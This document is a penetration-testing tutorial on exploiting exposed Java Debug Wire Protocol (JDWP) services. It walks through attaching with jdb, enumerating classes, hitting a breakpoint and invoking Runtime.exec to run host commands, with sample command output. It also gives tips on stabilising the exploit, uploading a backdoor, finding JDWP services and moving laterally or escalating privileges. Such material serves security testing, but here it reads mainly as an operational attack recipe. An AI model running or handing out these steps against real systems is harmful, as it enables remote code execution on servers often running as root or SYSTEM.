Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used for communication between a debugger and a Java Virtual Machine (JVM) as outlined in the Java Platform Debugger Architecture. It is often used to facilitate remote debugging of a JVM over TCP/IP and can be identified by the initial protocol handshake ascii string "JDWP-Handshake", sent first by the client and responded to by the server. "jdb" is a proof-of-concept JDWP capable debugger included in Oracle JDK and OpenJDK which can be used to interact with remote JDWP capable services. Typically this service runs on TCP port 8000 however it can be found to run on arbitrary TCP ports and is sometimes found enabled inadvertantly on servers running Java services. It is possible to use this utility to exploit remote JVM's and execute arbitrary Java code. An example shown here outlines how to leverage this weakness to execute arbitrary host OS commands in the context of the JVM.
$ jdb -attach x.x.x.x:8000
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>
Information leaks can be leveraged to determine details about the remote OS
platform and Java installation configuration through the "classpath" command.
> classpath
base directory: C:\Windows\system32
classpath: [ ** MASKED ** list of jar's loaded in remote JVM ]
bootclasspath: [ ** MASKED ** list of JRE paths ]
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jdb is capable of performing remote object creation and method invokation from
within the CLI using the "print" "dump" and "eval" commands with the "new"
keyword. To determine the classes and methods available use the "classes" and
then "methods" on the corrosponding class.
> classes
...
java.lang.Runtime
...
> methods java.lang.Runtime
...
java.lang.Runtime exec(java.lang.String[])
...
It is often necessary to set the JDB context to be within a suspended thread or
breakpoint before attempting to create a new remote object class. Using the
"trace go methods" function can be used to identify a candidate for a breakpoint
and then "stop in your.random.class.method()" to halt the execution of a running
thread. When the execution is halted you can use "print new" to create your
class and invoke methods such as in the following example.
Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0
threadname[1] print new java.lang.Runtime().exec("cmd.exe /c dir")
new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502"
threadname[1] cont
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Exploitation success will be determined from the output of the JDB process as
functions returning "null" or errors about "unsuspended thread state" would
indicate that exploitation was unsuccessful, however in the example above we can
see that the java created a new object "java.lang.ProcessImpl@918502" indicating
the "cmd.exe /c dir" was executed with success. On Linux this may need adjusting
to "java.lang.Runtime.getRuntime().exec()" however see the method / class
enumeration when attempting to exploit this flaw.
Your java will be executed in the context of the running JVM application, this
has been identified on services running as both "root" (*nix) and "SYSTEM"
(win32) in the wild.
I found that the use of --break-on 'java.lang.String.indexOf' make the exploit more stable. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
Normally this debugger is run on port 8000 and if you establish a TCP connection with the port and send "JDWP-Handshake", the server should respond you with the same string.
Also, you can check this string in the network to find possible JDWP services.
Listing processes, if you find the string "jdwk" inside a java process, probably it has active the **Java Debug Wired Protocol **and you may be able to move laterally or even escalate privileges (if executed as root).
